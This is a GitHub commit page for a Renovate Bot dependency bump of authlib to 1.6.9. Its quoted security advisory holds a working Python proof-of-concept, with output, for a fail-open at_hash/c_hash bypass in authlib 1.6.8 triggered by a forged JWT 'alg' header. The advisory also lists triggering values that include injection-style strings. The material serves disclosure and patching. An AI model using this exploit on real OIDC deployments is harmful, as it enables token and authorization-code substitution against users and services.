create_half_hash(s, alg) if hash_value is None: # FAIL-CLOSED: The algorithm is unsupported, reject the token. return False return hmac.compare_digest(hash_value, to_bytes(signature)) ``` --- ## 6. Proof of Concept (PoC) The following standalone script mathematically demonstrates the vulnerability across the Root Cause, Implicit Flow (`at_hash`), Hybrid Flow (`c_hash`), and the entire attack surface. It utilizes Authlib's own validation logic to prove the Fail-Open behavior.```bash ```bash python3 -m venv venv source venv/bin/activate pip install authlib cryptography python3 -c "import authlib; print(authlib.__version__)" # → 1.6.8 ``` ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @&#8203;title OIDC at_hash / c_hash Verification Bypass @&#8203;affected authlib <= 1.6.8 @&#8203;file authlib/oidc/core/claims.py :: _verify_hash() @&#8203;notice _verify_hash() retorna True cuando create_half_hash() retorna None (alg no soportado), causando Fail-Open en la verificacion de binding entre ID Token y Access Token / Authorization Code. @&#8203;dev Reproduce el bypass directamente contra el codigo de authlib sin mocks. Todas las llamadas son al modulo real instalado. """ import hmac import hashlib import base64 import time import authlib from authlib.common.encoding import to_bytes from authlib.oidc.core.util import create_half_hash from authlib.oidc.core.claims import IDToken, HybridIDToken from authlib.oidc.core.claims import _verify_hash as authlib_verify_hash # ─── helpers ────────────────────────────────────────────────────────────────── R = "\033[0m" RED = "\033[91m" GRN = "\033[92m" YLW = "\033[93m" CYN = "\033[96m" BLD = "\033[1m" DIM = "\033[2m" def header(title): print(f"\n{CYN}{'─' * 64}{R}") print(f"{BLD}{title}{R}") print(f"{CYN}{'─' * 64}{R}") def ok(msg): print(f" {GRN}[OK] {R}{msg}") def fail(msg): print(f" {RED}[BYPASS] {R}{BLD}{msg}{R}") def info(msg): print(f" {DIM} {msg}{R}") def at_hash_correct(token: str, alg: str) -> str: """ @&#8203;notice Computa at_hash segun OIDC Core 1.0 s3.2.2.9. @&#8203;param token Access token ASCII @&#8203;param alg Algoritmo del header del ID Token @&#8203;return str at_hash en Base64url sin padding """ fn = {"256": hashlib.sha256, "384": hashlib.sha384, "512": hashlib.sha512} digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest() return base64.urlsafe_b64encode(digest[:len(digest)//2]).rstrip(b"=").decode() def _verify_hash_patched(signature: str, s: str, alg: str) -> bool: """ @&#8203;notice Version corregida de _verify_hash() con semantica Fail-Closed. @&#8203;dev Fix: `if not hash_value` -> `if hash_value is None` None es falsy en Python, pero b"" no lo es. El chequeo original no distingue entre "algoritmo no soportado" y "hash vacio". """ hash_value = create_half_hash(s, alg) if hash_value is None: return False return hmac.compare_digest(hash_value, to_bytes(signature)) # ─── test 1: root cause ─────────────────────────────────────────────────────── def test_root_cause(): """ @&#8203;notice Demuestra que create_half_hash() retorna None para alg desconocido y que _verify_hash() interpreta ese None como verificacion exitosa. """ header("TEST 1 - Root Cause: create_half_hash() + _verify_hash()") token = "real_access_token_from_AS" fake_sig = "AAAAAAAAAAAAAAAAAAAAAA" alg = "CUSTOM_ALG" half_hash = create_half_hash(token, alg) info(f"create_half_hash(token, {alg!r}) -> {half_hash!r} (None = alg no soportado)") result_vuln = authlib_verify_hash(fake_sig, token, alg) result_patched = _verify_hash_patched(fake_sig, token, alg) print() if result_vuln: fail(f"authlib _verify_hash() retorno True con firma falsa y alg={alg!r}") else: ok(f"authlib _verify_hash() retorno False") if not result_patched: ok(f"_verify_hash_patched() retorno False (fail-closed correcto)") else: fail(f"_verify_hash_patched() retorno True") # ─── test 2: IDToken.validate_at_hash() bypass ──────────────────────────────── def test_at_hash_bypass(): """ @&#8203;notice Demuestra el bypass end-to-end en IDToken.validate_at_hash(). El atacante modifica el header alg del JWT a un valor no soportado. validate_at_hash() no levanta excepcion -> token aceptado. @&#8203;dev Flujo real de authlib: validate_at_hash() -> _verify_hash(at_hash, access_token, alg) -> create_half_hash(access_token, "CUSTOM_ALG") -> None -> `if not None` -> True -> no InvalidClaimError -> BYPASS """ header("TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)") real_token = "ya29.LEGITIMATE_token_from_real_AS" evil_token = "ya29.MALICIOUS_token_under_attacker_control" fake_at_hash = "FAAAAAAAAAAAAAAAAAAAA" # --- caso A: token legitimo con alg correcto --- correct_hash = at_hash_correct(real_token, "RS256") token_legit = IDToken( {"iss": "https://idp.example.com", "sub": "user", "aud": "client", "exp": int(time.time()) + 3600, "iat": int(time.time()), "at_hash": correct_hash}, {"access_token": real_token} ) token_legit.header = {"alg": "RS256"} try: token_legit.validate_at_hash() ok(f"Caso A (legitimo, RS256): at_hash={correct_hash} -> aceptado") except Exception as e: fail(f"Caso A rechazo el token legitimo: {e}") # --- caso B: token malicioso con alg forjado --- token_forged = IDToken( {"iss": "https://idp.example.com", "sub": "user", "aud": "client", "exp": int(time.time()) + 3600, "iat": int(time.time()), "at_hash": fake_at_hash}, {"access_token": evil_token} ) token_forged.header = {"alg": "CUSTOM_ALG"} try: token_forged.validate_at_hash() fail(f"Caso B (atacante, alg=CUSTOM_ALG): at_hash={fake_at_hash} -> BYPASS exitoso") info(f"access_token del atacante aceptado: {evil_token}") except Exception as e: ok(f"Caso B rechazado correctamente: {e}") # ─── test 3: HybridIDToken.validate_c_hash() bypass ────────────────────────── def test_c_hash_bypass(): """ @&#8203;notice Mismo bypass pero para c_hash en Hybrid Flow. Permite Authorization Code Substitution Attack. @&#8203;dev OIDC Core 1.0 s3.3.2.11 exige verificacion obligatoria de c_hash. Authlib la omite cuando el alg es desconocido. """ header("TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)") real_code = "SplxlOBeZQQYbYS6WxSbIA" evil_code = "ATTACKER_FORGED_AUTH_CODE" fake_chash = "ZZZZZZZZZZZZZZZZZZZZZZ" token = HybridIDToken( {"iss": "https://idp.example.com", "sub": "user", "aud": "client", "exp": int(time.time()) + 3600, "iat": int(time.time()), "nonce": "n123", "at_hash": "AAAA", "c_hash": fake_chash}, {"code": evil_code, "access_token": "sometoken"} ) token.header = {"alg": "XX9999"} try: token.validate_c_hash() fail(f"c_hash={fake_chash!r} aceptado con alg=XX9999 -> Authorization Code Substitution posible") info(f"code del atacante aceptado: {evil_code}") except Exception as e: ok(f"Rechazado correctamente: {e}") # ─── test 4: superficie de ataque ───────────────────────────────────────────── def test_attack_surface(): """ @&#8203;notice Mapea todos los valores de alg que disparan el bypass. @&#8203;dev create_half_hash hace: getattr(hashlib, f"sha{alg[2:]}", None) Cualquier string que no resuelva a un atributo de hashlib -> None -> bypass. """ header("TEST 4 - Superficie de Ataque") token = "test_token" fake_sig = "AAAAAAAAAAAAAAAAAAAAAA" vectors = [ "CUSTOM_ALG", "XX9999", "none", "None", "", "RS", "SHA256", "HS0", "EdDSA256", "PS999", "RS 256", "../../../etc", "' OR '1'='1", ] print(f" {'alg':<22} {'half_hash':<10} resultado") print(f" {'-'*22} {'-'*10} {'-'*20}") for alg in vectors: hv = create_half_hash(token, alg) result = authlib_verify_hash(fake_sig, token, alg) hv_str = "None" if hv is None else "bytes" res_str = f"{RED}BYPASS{R}" if result else f"{GRN}OK{R}" print(f" {alg!r:<22} {hv_str:<10} {res_str}") # ─── main ───────────────────────────────────────────────────────────────────── if __name__ == "__main__": print(f"\n{BLD}authlib {authlib.__version__} - OIDC Hash Verification Bypass PoC{R}") print(f"authlib/oidc/core/claims.py :: _verify_hash() \n") test_root_cause() test_at_hash_bypass() test_c_hash_bypass() test_attack_surface() print(f"\n{DIM}Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash(){R}\n") ``` --- ## Output ```bash uthlib 1.6.8 - OIDC Hash Verification Bypass PoC authlib/oidc/core/claims.py :: _verify_hash() ──────────────────────────────────────────────────────────────── TEST 1 - Root Cause: create_half_hash() + _verify_hash() ──────────────────────────────────────────────────────────────── create_half_hash(token, 'CUSTOM_ALG') -> None (None = alg no soportado) [BYPASS] authlib _verify_hash() retorno True con firma falsa y alg='CUSTOM_ALG' [OK] _verify_hash_patched() retorno False (fail-closed correcto) ──────────────────────────────────────────────────────────────── TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow) ──────────────────────────────────────────────────────────────── [OK] Caso A (legitimo, RS256): at_hash=gh_beqqliVkRPAXdOz2Gbw -> aceptado [BYPASS] Caso B (atacante, alg=CUSTOM_ALG): at_hash=FAAAAAAAAAAAAAAAAAAAA -> BYPASS exitoso access_token del atacante aceptado: ya29.MALICIOUS_token_under_attacker_control ──────────────────────────────────────────────────────────────── TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow) ──────────────────────────────────────────────────────────────── [BYPASS] c_hash='ZZZZZZZZZZZZZZZZZZZZZZ' aceptado con alg=XX9999 -> Authorization Code Substitution posible code del atacante aceptado: ATTACKER_FORGED_AUTH_CODE ──────────────────────────────────────────────────────────────── TEST 4 - Superficie de Ataque ──────────────────────────────────────────────────────────────── alg half_hash resultado ---------------------- ---------- -------------------- 'CUSTOM_ALG' None BYPASS 'XX9999' None BYPASS 'none' None BYPASS 'None' None BYPASS '' None BYPASS 'RS' None BYPASS 'SHA256' None BYPASS 'HS0' None BYPASS 'EdDSA256' None BYPASS 'PS999' None BYPASS 'RS 256' None BYPASS '../../../etc' None BYPASS "' OR '1'='1" None BYPASS Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash() ``` --- ### Release Notes <details> <summary>authlib/authlib (authlib)</summary> ### [`v1.6.9`](https://redirect.github.com/authlib/authlib/releases/tag/v1.6.9) [Compare Source](https://redirect.github.com/authlib/authlib/compare/v1.6.8...v1.6.9) **Full Changelog**: <https://github.com/authlib/authlib/compare/v1.6.8...v1.6.9> #### Changes in `jose` module - Not using header's `jwk` automatically - Add `ES256K` into default jwt algorithms - Remove deprecated algorithm from default registry - Generate random `cek` when `cek` length doesn't match </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" in timezone UTC, Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://redirect.github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNzMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE3My4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJweXRob24iLCJyZW5vdmF0ZSJdfQ==--> Co-authored-by: Renovate Bot <renovate@whitesourcesoftware.com>
1 parent 35787d8 commit 54989a7

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

services/mcp-server/poetry.lock

Lines changed: 3 additions & 3 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)